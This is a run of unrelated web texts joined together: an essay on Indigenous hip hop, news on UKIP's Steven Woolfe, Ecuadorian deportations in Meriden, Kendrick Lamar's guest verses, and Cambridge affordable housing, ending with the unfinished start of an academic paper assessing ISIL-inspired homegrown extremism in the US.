However, too often, we tend to view Indigenous Hip Hop through simplistic notions of good and bad or, dare I say, “traditional” and “non-traditional” instead of embracing the great diversity of what it means to be Indigenous today, or at the very least exploring the possibilities of how it is expressed, or what it might mean in the future. I want to propose, very briefly, ways that we can decolonize ourselves by embracing indigenous modernity through Indigenous Hip Hop.
Perhaps one of the first things we can do to decolonize ourselves is to rid ourselves of the modern/traditional binary. Time and again, we judge Indigenous people and the cultures that we produce through the false lens of “modern/traditional.” We must ask ourselves important questions: what does it mean to be traditional? Who gets to determine what traditional is or is not? And what does it mean to be modern and live in modern times? Can we live, and continue creating new meanings of what it means to be Indigenous?
Yes, of course we can! Surely prior to European colonization our ancestors learned from other Indigenous communities that informed how they viewed themselves in relation to others and land. I bet it also informed their cultural practices too – they likely embraced certain parts of other cultures, tried some things out and, if it didn’t work for them, they discarded it. Why is it that we can’t do the same thing?
Returning back to Hip Hop, the Hip Hop(s) that Indigenous people produce should all be placed on the table, and we as a community should analyze it, interpret it, and understand under what conditions it was produced and what impact it might have on our communities, and those outside of it. For example, we should interrogate comments like “that young man is just trying to be Black” (a comment I heard not long ago from an adult criticizing a young Indigenous Hip Hop artist). I think an underlying point of that comment is that this young person is not acting quite ‘Indigenous enough’ – whatever that means. While Hip Hop is a Black art form, especially in language (Alim, 2007; Smitherman, 1994), Indigenous people make it their own, rhyming out their own lived realities, in both reserve/ation and urban spaces. Still, we should talk about the implications of this belief, and how it places unfair expectations and limits on our youth. We should not place limits on the pluralisms and possibilities of being Indigenous in modern times.
Not long ago, I was giving a lecture in front of college students on the contemporary representations of Indigenous people. I had the students watch Supaman’s “Prayer Loop Song” and Chief’s track “Blowed,” featuring Snoop Dogg. Student responses were surprising. After spending about an hour trying to break down stereotypes about Indigenous people, which I thought was happening, the students liked Supaman better. It was not because of Chief’s hyper-masculine, misogynistic video; it was because Supaman looked more “Native,” or “authentic” to them. I thought to myself – damn, I just failed as a teacher.
I openly expressed to them that I was making a false dichotomy between two artists. It didn’t matter. They were still caught up into ideas about what modern and traditional were, even after spending an hour challenging as many stereotypes about Indigenous people as I could. The point, here, though, is that both mainstream society and Indigenous communities have placed unfair expectations about how to express Indigeneity. Again, we would do well to embrace the great diversity that makes up our communities, including art forms; we should not limit Indigenous expressions with archaic notions of “authenticity.”
We have a lot of work to do in order to decolonize both our societies and our communities if we want to truly embrace Indigenous modernity. Hip Hop can be one avenue through which we do this. Decolonizing ourselves means the putting into practice of the complex and diverse ways that we embody and live out our Indigenous selves beyond the “traditional” or colonial identity politics such as “full-blooded”. Practices of Indigenous Hip Hop allow us to embrace these complexities and forge decolonial modernities that embrace every person in our communities. If we don’t come to terms with how we understand our relationship to the past, recognize where we’re at now, and creatively reimagine what it might mean to be Indigenous in the future, we will perpetuate the same forms of colonization that the white man placed on us long ago: that we are relics of the past, incapable of being modern. Let’s decolonize ourselves and put into practice how all Native lives matter – not just the “traditional” or the “full-blooded” ones.
Bamaappii (until later),
Kyle T. Mays
Kyle Mays is a Black/Saginaw Chippewa transdisciplinary scholar of urban history, Indigenous Studies, and Indigenous popular culture. He is currently a Ph.D. candidate in the Department of History and American Indian and Indigenous Studies at the University of Illinois, Urbana-Champaign. His dissertation titled, Indigenous Detroit: Indigeneity, Modernity, and Gender and Racial Formation in a Modern American City, 1871-2000, examines the role of Indigenous people and indigeneity in the development of modern Detroit. You can follow him on Twitter @mays_kyle.
Works Cited
Samy Alim, Roc the Mic: The Language of Hip Hop Culture (New York: Routledge, 2006).
Jeff Chang, “It’s a Hip-Hop World.” Foreign Policy, 163, (November-December, 2007), pp. 58-65.
Philip Deloria, Playing Indian. (New Haven: Yale University Press, 1998).
Scott Richard Lyons, “Actually Existing Indian Nations: Modernity, Diversity, and the Future of Native American Studies.” American Indian Quarterly, 35, 3, (summer 2011), pp. 294-312.
Jean M. O’Brien, Firsting and Lasting: Writing Indians Out of Existence in New England. (Minneapolis: University of Minnesota Press, 2010).
Geneva Smitherman, “ ‘The Chain Remain the Same’: Communicative Practices in the Hip Hop Nation. The Black Scholar, 28, 1, (1997), pp. 3-25.Get the biggest daily news stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Ukip leadership frontrunner Steven Woolfe has reportedly collapsed after being punched in an "altercation" during a meeting of the party's MEPs in Strasbourg.
He's reportedly being treated for a brain bleed at a hospital in the French city.
Nigel Farage told reporters Mr Woolfe had been in an "altercation" shortly before collapsing.
He said: "Following an altercation that took place at a meeting of Ukip MEPs Stephen Woolfe subsequently collapsed and was taken to hospital."
Mr Woolfe collapsed in the hours following a confrontation with fellow MEP Mike Hookem, it has been claimed.
The pair and the party’s 22 other MEPs held a “clear the air” meeting this morning.
Mr Woolfe reportedly hit his head on a glass window as he fell backwards.
It followed Mr Woolfe releasing a statement yesterday in which he said he had considered defecting to the conservative party.
(Image: ITV News)
Mr Woolfe's condition was initially described as "serious" - but he is now awake and says he is recovering well.
In a statement released from hospital, he said: "I am feeling brighter, happier and smiling as ever. I am sitting up and said to be looking well.
"The CT scan has shown that there is no blood clot in the brain.
"The only consequence at the moment is a bit of numbness on the left hand side of my face.
"I am being kept in overnight awaiting secondary tests to make sure everything is fine."
He later tweeted to pay tribute to European Parliament and hospital staff.
The MEP announced plans to run to replace Diane James as leader yesterday, following her resignation after just 18 days.
Bookies had already installed Mr Woolfe as the 1/2 favourite before he announced his intention to run.
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He told Sky News: "I will take on the challenges that Nigel has faced - those within the party who seem to be doing us harm - but also looking forward very clearly to the 17.5 million people who voted for Brexit."
A Ukip spokesperson said this morning: "Steven Woolfe MEP was taken suddenly ill in the European Parliament building in Strasbourg this morning. He has been taken to hospital in the city and he is undergoing tests."
(Image: null)
Presumed leadership rival Suzanne Evans tweeted: "Shocked to hear Steven Woolfe has apparently collapsed in the European Parliament in Strasbourg. Wishing him well for a speedy recovery."
And Breitbart UK editor Raheem Kassam, who launched his bid for the party's leadership last night, cancelled a planned appearance on the BBC's Daily Politics programme after the news broke.
He said: "The details out of the EU parliament today are distressing. Our thoughts and prayers should be for Steven and his speedy recovery. Violence like this is abhorrent, and does not reflect UKIP or its members”.
MEP Patrick O'Flynn declined to discuss the incident, adding: "My thoughts and prayers are with Steven and I'm desperately, anxiously waiting to hear further news."Jennifer Sanguano began noticing an increase in non-criminal undocumented immigrants from Mexico being deported in February and March. By May, something else was happening. Immigrants from Ecuador, who had stays of removal, were having their extensions denied.
“They had 90 people (in the region) in one month,” said Sanguano, of Wallingford. “All these people gathered and were put onto a plane.”
Here are some things to know about Ecuadorian immigration and deportation.
Local issues
In recent months, five known undocumented immigrants living in Meriden have come forward after extensions of their stays of removal were denied under a policy enacted by the Trump administration in May. All of them were from Ecuador, a country straddling the equator on South America’s west coast.
Sanguano, who works as a representative for the tri-state Ecuadorian embassy, said she isn’t sure why the Ecuadorian population is being impacted most in Meriden. The Consulate General of Ecuador in New Haven could not be reached for comment.
“Meriden has the highest Hispanic population in the area,” said Maria Campos-Harlow, executive director of the Spanish Community of Wallingford. “I don’t think (deportation) has anything to do with nationality, it depends on the area they came from.”
A spokesman for the office of Immigration and Customs Enforcement said “ICE doesn’t discriminate and will apply U.S. immigration laws evenly and fairly to everyone they work with, regardless of where they originated.”
“In my experience, people from the same cultural background tend to stick together geographically,” said Shawn Neudauer, an ICE spokesman. “In Minneapolis, there is a large Somali population, in St. Paul there are a lot of people from Southeast Asia – folks tend to settle near people they know or in areas where they are familiar with the culture. In New Hampshire, there happen to be a lot of people from Indonesia. I really can’t speculate as to why there are a lot of people from Ecuador in Connecticut.”
Sanguano, 24, is a legal resident and has lived in Wallingford since age 18. As Connecticut’s representative to the embassy, she has gone to the Ecuadorian Embassy in New York to advocate for undocumented residents and gain information. She has worked with the consulate’s office to help secure pro bono legal services for immigrants facing deportation and advocated for basic human needs, such as getting medication for detainees.
She recalls one detainee with diabetes whose ankles were bleeding because her chains were too tight. The Ecuadorian consulate intervened on the woman’s behalf.
Sanguano’s father left Ecuador in 2000. After being undocumented for a couple years, he was given paperwork for a work visa from his Hamden employer that gave him permanent residency. He obtained legal status for his wife and two daughters, who followed several years later.
Why emigrate?
The country borders the Pacific ocean on the west, Colombia to the north and Peru to the east and south. The Andes Mountains that span Ecuador’s spine offer visitors breathtaking views of the country. The low cost of living has enticed some U.S. citizens to retire in its safer cities and towns. So why leave?
“There was a crisis in Ecuador in the 1990s,” Sanguano said. “There was a recession during those years. The bank closed and people who had savings lost money. A lot of Ecuadorians went to Spain and the U.S.”
In recent years, Ecuador has accepted refugees from Colombia and political refugees from Venezuela. Syrians have also found a home within its borders.
Of immigrants from South America to the U.S., Ecuadorians are the most likely to be in poverty, reports the Migration Policy Institute. According to a 2016 report from the U.S. State Department, Ecuador’s “corrupt government” fosters distrust in trade agreements and cripples its own economy.
The U.S. State Department’s report on Ecuador advises U.S. travelers to avoid Ecuador’s Columbian border. The report label’s Ecuador’s capital, Quito, and largest city, Guayaquil, as critical threat locations.
“Crime continues to present a severe problem. Crimes against U.S. citizens in 2016 have ranged from petty theft to violent offenses, including armed robbery, express kidnapping, sexual assault, and homicide. Very low rates of apprehension and conviction of criminals – due to limited police and judicial resources – contribute to Ecuador’s high crime rate,” the report notes.
The report adds that crime is increasing and government corruption has hurt Ecuador’s ability to trade with other countries.
Since 2003, the office of the United States Trade Representative has listed Ecuador as a watch list country in its annual report on intellectual property.
“Foreign direct investment rates are very low in comparison with other countries in Latin America and the overall investment climate is uncertain. Systemic weakness in the judicial system and its susceptibility to political or economic pressures are issues for U.S. companies investing in or trading with Ecuador,” the report states.
From 2011 to 2015, 431,000 people from Ecuador came to the U.S., according to the Migration Policy Institute. This includes natural citizens, unlawful permanent residents, certain legal non-immigrants, persons on student or work visas, those admitted under refugee or asylum status, and persons illegally residing in the U.S., the institute notes.
In the four year time frame, about 73,900 Ecuadorian immigrants settled in Queens, New York, with a total of 177,000 Ecuadorians in the entire state of New York, according to the institute. A total of 19,000 Ecuadorians moved to Fairfield County between 2011 and 2015, while others went to Los Angeles, Cook County, Illinois, and Miami-Dade, Florida.
Fear a common factor
A Wallingford woman from Ecuador, who asked not to be identified on the advice of her lawyer, said her uncle is a legal resident and resided in Greenwich, but her family moved north.
“There are more opportunities and good education for our children,” she said.
Her husband is a lawyer who spent six years in law school in Ecuador, but could not find a job there because he was not connected with the government, she said. The couple have been in the country for 12 years, have filed for citizenship papers, but were advised by their lawyer not to identify themselves.
“It is very difficult to find any job (in Ecudaor), never mind a law practice,” said the husband.
Marco Reyes, a |
contractually obligated, they all get a vintage Kendrick verse.
Take, for example, “Wat’s Wrong,” off Isaiah Rashad’s excellent The Sun’s Tirade, on which Kendrick skips in on some rapid-fire double-time shit, his intensity a counterpoint to the slow-simmering beauty of the track’s live instrumentation. Rashad’s Southern rap feast of an album takes a sort of genial, ambling approach to rapping, easily lapsing into singing and mumbling—all of which makes a verse like Kendrick’s stand out even more. But lyrically, it’s a clean fit with Rashad’s diaristic style.
Equally revealing is his spot on SZA’s “Doves In The Wind,” a warm stretch of rounded drums over which Kendrick coos alongside SZA about—well, it’s really just a bunch of bars about the word “pussy.” But Kendrick’s chemistry with SZA is palpable, his rapping flirting with melodies the same way her melodies flirt with rapping. (It’s nice when he calls her by her first name, too.)
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You can also hop back to Jay Rock’s 2015 record “Easy Bake,” on which Jay and Kendrick toss the mic back and forth, finishing each other’s bars. This is absolutely not the type of thing other major rappers would do this breezily, and it’s fun to hear him do something so unflashy. These TDE collaborations find Kendrick pouring his talent into someone else’s broader vision, staying in his comfort zone while gelling with theirs. He hits a more conventional note when he pops up on albums by the people who helped him make his own masterpieces. Earlier this year, he offered a prayerful, low-key verse to Thundercat’s “Walk On By,” and in 2014 provided an appropriately maximalist effort to Flying Lotus’ “Never Catch Me,” both of whom worked with him on To Pimp A Butterfly and Untitled Unmastered. And just a few weeks ago, he popped up on old collaborator Rapsody’s excellent new record for the collaboration “Power,” contributing a minutes-long verse that nestles in neatly alongside her wordplay-heavy true-school lyricism.
These sorts of guest spots find Kendrick tapping into the same high-flying rhetorical braggadocio he traffics on his own albums, dialing in a compressed blast to place it in a new setting. Many of these records probably attract new ears and headlines just by having these top-billing guest spots—which is, you have to assume, part of the point. Kendrick Lamar: good rapper, better friend.
2. Cosigns and cred
It’s always fun hearing a rapper talk about their own place in the pantheon: Jay’s “If I ain’t better than Big, I’m the closest one,” or Eminem’s list and the motherfucking order it’s in (“It goes Reggie, JAY-Z, Tupac, and Biggie …”). That’s part of what made “Control” so fun: the absolute transparency of Kendrick’s feelings toward his competition, the listing of which felt like breaking an ancient rap taboo.
But his other guest verses show a much more pointed opinion about where rap’s true energies lie, implied by his showing up to be near them. Few rappers of this decade have proven more elastic, daring, and technically gifted than Danny Brown, for example, and it’s a reputation Kendrick reaffirmed by popping up to do the hook and a full verse on the brutal posse cut “Really Doe.”
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Kendrick also emerges from a dissonant fog with an uncredited verse on “Yeah Right” on Vince Staples’ dense, diamond-tight Big Fish Theory, an album that makes the case for Staples as one of the most sober, witheringly astute emcees alive. The presence of Lamar as the only guest rapper on the album says a lot about Staples’ ambition—and Lamar’s respect for him.
Lamar has also contributed verses like this to records by BJ The Chicago Kid, and popped up on a handful of A$AP Rocky posse cuts. Just this week Lamar slaughtered Atlanta upstart Rich The Kid on his own track, “New Freezer.” It was a sort of sacrificial moment for Rich, no doubt, as it instantly became his best-known song.
If they have one thing in common, it’s that these cosigns go to daring emcees with tight sonic aesthetics; if they’re not Kendrick looking over his shoulder at who’s coming up, they are, at least, a respectful nod. But sometimes, they prove to be worthy challenges: His work on the remix of Future’s “Mask Off,” for example, is revealingly off-pace, with Kendrick attempting to emulate Future’s musicality and, frankly, finding himself outmatched.
On the other hand, he’s maybe a little too indulgent when it comes to doing verses for rap’s elder statesmen, which can often seem like he’s just paying fealty. It’s easy to forget Kendrick got the album-closing verse on Snoop Dogg’s 2015 snoozer Bush, as well as the album-opening verse on The Game’s The Documentary 2—both of which show him giving his all to records that didn’t quite deserve it. Let us also never forget he was the sole guest on Eminem’s Marshall Mathers LP 2, which… yeah.
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Kendrick has always been preternaturally gifted at evoking rap history, and his penchant for these guest spots shows why: He’s legitimately obsessed with his forebears. Wash the sour taste of that awful Em track down with this uncredited assist to “Conrad Tokyo,” off Tribe’s swan song.
3. Cash-ins
Finally, we have Kendrick’s unabashed, crossover cash-grabs. Whether he’s there for the paycheck, an attempt to reach a broader audience, or because he earnestly wants to align himself with Taylor Swift, these sorts of tracks show him stepping way outside his comfort zone, and it can often lead to some of his weirdest, most fun work. It can also be some of his most terrible. He has done some terrible shit here.
On the “fun” end of the spectrum is something like his Maroon 5 collab from last year, “Don’t Wanna Know.” Kendrick pops up for a blink-and-you’ll-miss-it spot over its vaguely “tropical” beat, getting down on Instagram vanity and… Well, that’s it. He’s gone. I am a longtime Maroon 5 apologist, so take this with a grain of salt, but there is something stupid and fun and totally incongruous about this appearance, like spotting Cormac McCarthy in line to see Cars 3.
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His spot on Taylor Swift’s “Bad Blood” remix is a similarly nebulous stretch of lyrical shit-talk, easily slotting in alongside her anthemic grievance pop. Rather than the stoic, try-hard nature of his work with elder statesmen, he limbers up on these pop tracks; here he’s almost play-acting as if he’s truly invested in Taylor’s beefs. (Then again… maybe he is?) You can also hear him giving a weird, stuttering verse on Sia’s “The Greatest,” or popping up on Imagine Dragons’ “Radioactive” as the world’s most expensive snare drum, spitting rapid-fire gibberish in syncopation with the beat.
Verses like these almost let you imagine an alternate-universe version of Kendrick as a sort of professional “featured” rapper, some sort of ghastly cross between J. Cole and, say, Tyga, skilled but inane. But really, they fit right in alongside all his other work. Kendrick views himself as a transformative figure, braiding the traditions of his West Coast home with Southern rap’s long-playing pleasures, along with the most fiercely held East Coast conventions about rapper as journalist, as philosopher, as athlete. He trades bars alongside today’s underground stalwarts like Earl Sweatshirt and Vince Staples while also giving Taylor Swift the assist in a Katy Perry diss. And more than anything else, he makes decisions based on his own taste, creating insular albums of intense subjectivity while also guesting almost exclusively with people who complement or inspire that world, and who reflect his ideals about what rap music can be: progressive, worldly, witty, musically rich.
Granted, maybe it’s a little difficult to square the circle of this persona with Maroon 5. But consider these an indulgence on par with Jay’s Rothkos, Kanye’s fashion line, Drake’s endless stretch of douchey penthouses. And hey, even the Best Rapper Alive deserves a night off every once in awhile.Cambridge City Manager Richard Rossi filed a housing plan with the City Council that would push builders of apartments and condos to set aside more affordable units.
Developers in Cambridge could soon be asked to nearly double the amount of affordable housing they include in new apartment and condominium buildings.
City Manager Richard Rossi filed a proposal Monday with the City Council that would require developers to set aside up to 20 percent of new buildings as affordable units.
The measure aims to capitalize on Cambridge’s hot real estate market to generate more affordable housing and help retain working-class residents, who are increasingly being squeezed out, Rossi wrote.
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The plan would substantially boost Cambridge’s Inclusionary Housing program, which today sets aside about 11.5 percent of units in many new buildings at rents deemed affordable to lower- and middle-income residents; a family of three earning up to $70,640 a year, for example, would pay $1,766 a month.
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If they take part in the program, developers are currently allowed to increase the number of units in their buildings by 30 percent.
Rossi suggested a range of 17 to 20 percent for new affordable housing requirements, which city officials said would not be so high that it discourages new construction. “You want to find the right balance,” said Iram Farooq, Cambridge’s assistant city manager for community development. “We’re trying to be as bold as possible while not shutting off development opportunities.”
The recommendations come after a monthslong study of Cambridge’s housing market by a consultant hired by the city. And they will probably undergo months more study and debate by the City Council.
Several councilors said they are already supportive.
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The City Council debate will probably center around whether the rate should be even higher than 20 percent, predicted Councilor Marc McGovern, who is also Cambridge’s vice mayor.
Councilors will also probably debate how many of the affordable units should be reserved for low-income residents and how many for middle-income residents.
In a city where rents have climbed twice as fast as incomes over the last decade, more affordable housing is needed, McGovern said. The trick is how to get it without driving developers out of town.
“I want developers to scream but not run away,” he said. “I’m hopeful that’s the conversation we can have.”
Still, some in the business community are wary of Cambridge asking developers to do too much. Last year, the city nearly tripled the fees new office, lab, and industrial buildings pay toward affordable housing. Rezonings in parts of Central and Kendall squares now include requirements for startup space, transit fees, and other community needs.
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Meanwhile, Cambridge just banned plastic bags and is pushing for “net-zero” energy emissions in new construction. These efforts all address worthy goals, said Sarah Kennedy, director of government affairs at the Cambridge Chamber of Commerce. But they add up.
“There are a lot of different pieces the city’s looking at,” she said. “Doing all that in a coordinated way is important for developers thinking about building in Cambridge.”
Cambridge isn’t alone in trying to boost its inclusionary housing program. Boston Mayor Martin J. Walsh last year revamped the city’s program, to wring more cash out of developers who don’t include affordable units in their own projects. And Somerville is considering boosting its requirement to 20 percent affordable units as well.
Tim Logan can be reached at tim.logan@globe.com. Follow him on Twitter @bytimloganReassessing the Threat of Homegrown Violent Extremism in the United States: Overstated or Underestimated?
Taylor Applegate
Introduction
Every day, countless headlines stream across the news describing recent terrorist plots, attacks on civilians across the western world, and updates on the latest atrocities committed by the Islamic State in Syria and the Levant (ISIL). In particular, the past several years have born witness to a steep increase in ‘lone-wolf’ or lone offender attacks conducted by homegrown violent extremists (HVEs). Although the majority of these attacks have occurred primarily in Europe, Southeast Asia and the Middle East, widespread media coverage has generated significant concern within the United States. According to a recent poll, 86% of Americans are very concerned or somewhat concerned about “lone offender terrorist attacks in which individuals in this country decide to take terrorist action on their own” (Washington Post 2016).
However, the public’s risk-perception may reflect an exaggerated media emphasis, incongruous to the true degree of threat posed by HVE activity within the US. In the ten years following 9/11, there were only eight homegrown terrorist attacks motivated by Islamic jihadist goals, compared to a whopping eighteen inspired by right-wing extremist motives based on political, religious, or identity-based hatred (New America 2016). Nonetheless, the public’s concern is understandable given the rapid spread of ISIL and its role in generating a new wave of HVE attacks around the globe. In only two years since the violent regime first declared itself a worldwide caliphate, over 1,200 people have been killed in homegrown terrorist attacks (outside of Iraq/Syria) coordinated or inspired by ISIL (Yourish et al. 2016). The increase in these attacks spurs an incredibly prudent question: has the rise of ISIL increased the threat of self-radicalized homegrown terrorist attacks within the US, and in what form is an attack a) most likely and b) potentially most dangerous?
In order to calculate the risk of any particular threat, one must assess the likelihood of an attack being attempted by an adversary, based on the actor’s intent and capabilities (Risk Steering Committee 2010, 36). An accurate threat assessment will thus require determining the extent to which potential HVEs 1) possess strong motives to conduct a terrorist attack, and 2) have access to the necessary means to do so. Based on analysis of earlier attacks and current literature on the topic, I hypothesize that ISIL’s proficiency at spreading jihadist ideology to individuals with personal or political grievances, vulnerable to rapid self-radicalization, has increased the threat of lone offender style terrorist attacks by HVEs. Social media and technological developments have allowed ISIL to reach a much wider audience to which it offers purpose and belonging, while encouraging terrorist attacks through relatively simple methods.
Most research on the topic has focused on the motives behind these attacks and possible methods for improving law enforcement’s ability to prevent them. However, a deeper dive into the historical trends is needed to determine the extent to which ISIL’s rise has affected the likelihood and potential danger of lone-wolf terrorist attacks motivated by radical Islamic ideology. An accurate assessment of the current risk posed by HVEs within the US will facilitate consideration of policy measures aimed at reducing the long-term threat to homeland security.
Literature Review
An accurate analysis of the current research and literature discussing the relative HVE threat in the US first requires the establishment of common definitions. Most academic work applies the definition outlined in the DHS Lexicon, describing an HVE as “a person of any citizenship who has lived and/or operated primarily in the US or its territories who advocates, is engaged in, or is preparing to engage in ideologically-motivated terrorist activities (including providing support to terrorism), in furtherance of political or social objectives promoted by a foreign terrorist organization” (Office of I&A 2011). The critical distinction between an HVE compared to a traditional domestic terrorist is that the individual’s actions are motivated by a foreign terrorist organization and/or its ideology, even if he or she is not directly or officially associated with the group.
Applying this common definition, the next step in assessing the current threat environment requires an understanding of its historical origins and development. External and homegrown terrorist attacks were brought to the forefront of US homeland defense concerns following the September 11th hijackings. As the “Global War on Terror” ramped up, tightening security measures created new challenges for Al Qaeda’s efforts to conduct large-scale terrorist attacks in the style of 9/11. Ever adaptive, Al Qaeda thus began shifting its strategy towards recruiting foreign homegrown terrorists, encouraging citizens of Western nations “to implement a campaign of individual jihad and do-it-yourself terrorism” (Jenkins 2011, 7). Europe suffered the brunt of these initial HVE attacks; a total of 244 people were killed and more than 2,700 were injured amid homegrown terrorist bombings targeting public transportation in 2004 in Madrid and 2005 in London.
While these attacks spurred fear and concern about the HVE threat in countries around the globe, the US remained relatively immune. From September 11th, 2001 to the end of 2014, the US had only six jihad-inspired attacks, resulting in 25 deaths (New America 2016). Furthermore, a RAND study of homegrown terrorism in the US found that in the ten years between 2001 to 2011, of the 176 Americans indicted or arrested for involvement in 32 terrorist plots, only 10 had developed even a basic semblance of operational plans (Jenkins 2011, 8). Researchers have attributed the higher frequency and intensity of HVE attacks in Europe, relative to the US, to a number of factors including intelligence and law enforcement gaps, proximity to terrorist breeding-grounds, logistical accessibility, higher numbers of foreign terrorist fighters, and poor integration of the Muslim minority populations (Byman 2016). Most scholars agree that while Al Qaeda’s efforts up through 2011 were limited in number and scope due to a lack of both determined intent and competent capabilities, the rise of ISIL in mid-2014 has renewed the threat of more adept HVEs. There is currently a wide consensus among key policymakers that HVEs pose the greatest challenge to homeland defense. According to Department of Homeland Security (DHS) undersecretary for intelligence and analysis, Francis X. Taylor, lone offenders inspired by foreign radical ideologies “top the list of hazards” to homeland security (Ackerman 2016). The June 2016 Orlando nightclub shooting by Omar Mateen, motivated by self-proclaimed allegiance to ISIL, has reignited concerns about the risk of HVE and doubts as to where the US Intelligence Community (IC) and law enforcement agencies (LEAs) are doing enough to prevent these attacks.
When breaking down this threat, most of the literature focuses on the motivations that drive lone offenders towards violent extremist ideologies. The logic driving this research emphasis is that if ISIL is able to inspire more widespread radicalization, the IC and LEAs will face an uphill battle against growing numbers, resulting in more plots that go undetected (Brooks 2011, 11). The literature is split on this question because, while ISIL is certainly spreading its message to a wider audience, it remains difficult to even estimate how many individuals are becoming radicalized. Without any proof of increasing rates of radicalization, some experts argue that the HVE threat continues to be overstated. Just a year ago, The New York times published an article highlighting that since 9/11, “nearly twice as many people have been killed by white supremacists, anti-government fanatics and other non-Muslim extremists than by radical Muslims” (Shane 2015). However, in the year that followed, these statistics have shifted dramatically; D.C. based research center New America now tallies 94 people killed in “violent jihadist attacks” compared to 48 killed in attacks by lone offenders with far-right wing motives (New America 2016). Considering a single attack can entirely reframe the threat calculus, as occurred with the 49 people killed in the Orlando shooting, arguments that rely solely on comparative statistics of this nature hold little weight. Despite ongoing debate on whether HVE attacks pose a considerable threat to the US, academics agree that ISIL has managed to spread its ideology with greater ease than Al Qaeda and previous affiliates due to the introduction of social media and the internet. The few dozen terrorist websites in the early 1990s exploded to more than 4,000 sites by 2006, replacing print publications with online forums, encrypted emails and webzines that put “English-speaking, Internet-savvy jihadists” just “a mouse click away” from potential self-radicalizing HVEs (Bergen 2016). Fundamentalist Islamic organizations have used these new technologies to evolve "from a top-down enterprise masterminded by a few core groups to a decentralized system of recruitment and inspiration”, a strategy which CNN’s top national security analyst Peter Bergen refers to as “leaderless jihad” (Nagl 2016). Overall, as the internet and social media enhance ISIL’s ability to reach more potential recruits, the odds increase that susceptible individuals will self-radicalize and begin planning attacks with little to no actual direction from the group.
As ISIL uses technology to reach a wider audience, the question remains as to why certain individuals radicalize while the vast majority of Muslim communities remain moderate. Because each individual HVE will have slightly different cognitive pathways that lead from personal grievances to violent action, these theories are best applied as a foundation for systematic inquiry. Several theories provide greater insight into the motives that drive an individual to radicalize and turn to violent means of jihad, including Social Movement Theory (SMT) and Social Psychology Theory (SPT). The first of these emphasizes the need for a social movement to ensure its own survival and prosperity through four critical tasks: “Forming mobilization potential; forming and motivating recruitment networks; arousing motivation to participate; and removing barriers to participation” (Borum 2011, 17). In order to inspire membership and participation, ISIL uses a “narrative that touches on all facets of life -- from career opportunities to family life to a sense of community” (Steinbach 2016). Once an individual has joined the cause, SPT concepts of “group think” explain why ISIL is so effective at spurring radicalization. Terrorist organizations reduce individual agency and encourage extreme or polarized attitudes that “criticize certain social injustices, offenses, or threats that affect a terrorist's reference community” (De la Corte 2007). These groups highlight the supposed injustices against Muslims committed by so-called “western infidels”, creating a common enemy while emphasizing violence as the only effective method in gaining retribution.
In addition to ISIL’s heightened aptitude for inspiring self-radicalization, a second way in which the threat of HVE attacks could increase is an improvement in tactics, techniques and procedures (TTPs). Relatively simple weapons and tactics can substantially bolster lone offenders’ capabilities to cause greater destruction in a single attack. This is perhaps the most dangerous outcome, because any single plot that slips through the cracks has the potential to result in massive casualties. The 2013 bombings of the Boston Marathon by Tamerlan and Dzhokhar Tsarnaev is one example of the destructive power of relatively simple or homemade improvised explosive devices (IEDs), particularly when deployed in a high-density public space. The attack resulted in only three fatalities but 250 additional injuries, all due to two self-radicalized individuals who found purpose and belonging through online contacts with militant jihadists, and became convinced that retribution against the US for its policies in Iraq and Afghanistan would be their ticket into heaven (Gunaratna and Haynal 2013).
The current gap in the literature is the lack of updated assessments following the dramatic and rapid rise of ISIL beginning in 2014. However, the limited research and commentary on the impact of ISIL leans towards the assessment that the HVE threat will continue to persist, if not worsen, due to organization’s widespread campaigning on social media and the internet. Paired with easy access to the resources necessary for executing highly destructive TTPs, rising rates of radicalization could lead to an increase in both the frequency and magnitude of attacks. For this reason, this study will focus on analyzing cases in which ISIL has been able to tangibly inspire radicalization and encourage/inform enhanced capabilities among HVEs within the US.
Research Methodology
In the past two years, HVE attacks seem to be skyrocketing across the globe - a phenomenon that has largely been attributed to ISIL’s success in recruiting a growing number of lone offenders to self-radicalize and conduct attacks on their own volition. For that reason, this study will focus on terrorist attacks in which offenders’ motives for self-radicalizing were tied to ISIL, whether through claimed allegiance or other evidence of affiliation to the group. With the aim of filling research gap on the degree to which ISIL-inspired lone offenders pose a threat to the American homeland, the scope of the study will be limited to attacks conducted in the US.
In order to test my hypothesis that ISIL’s widespread dissemination of jihadist ideology will lead to increasingly frequent and more destructive HVE attacks, I will conduct a historical analysis of the five ISIL-inspired attacks occurring on American soil since the group first declared its caliphate in mid-2014. In each of these cases, I evaluate the 1) motives behind the attack, 2) the method of radicalization, and 3) the targets selected and the TTPs used for preparing and executing the attack. If past attackers are being recruited, trained and self-radicalizing through methods that are near impossible to catch, we can assess that the risk of a plot going undetected is high. Additionally, research into the TTPs used in each instance, as well as those generally encouraged by ISIL, will provide insight into the potential degree of destruction posed by a single successful attack. In order to assess whether each attack could have been prevented, I will analyze each case for any evidence of missed warnings and indicators that could have been detected by intelligence or law enforcement agencies (4). This portion will naturally help identify weakness and areas for future improvement in counterterrorism methods, allowing for a forward-looking policy recommendation. The four aforementioned qualitative variables will be supplemented by assessing quantitative data in two categories; roughly how long the individual took to radicalize and plan the attack (5), and the degree of damage inflicted (number of people killed and/or wounded) (6).
All of the data will be collected from deep-dive multi-source research into the five cases of ISIL-inspired attacks in the US, as compiled through analysis The New York Times (Yourish 2016). Although I will focus on law enforcement’s reporting of the circumstances leading up to each attack, the possibility of news media misreporting or skewing facts opens the door for potential bias. Using primary sources whenever possible and referencing multiple news outlets will help fact-check my data. The predominant limitation of the historical case study methodology is that threats are constantly changing and evolving. Every day, ISIL is working to develop techniques to enhance recruitment efforts while self-radicalized HVEs devise new TTPs to avoid detection and maximize casualties. Yet, while an adversary is far from guaranteed to behave the same way it has in the past, assessing previous TTPs is one of the best ways to establish a baseline for predicting future actions. Such an analysis will provide a forward-looking assessment of likelihood and potential ramifications of future ISIL-inspired attacks.
Analysis, Findings and Policy Implications
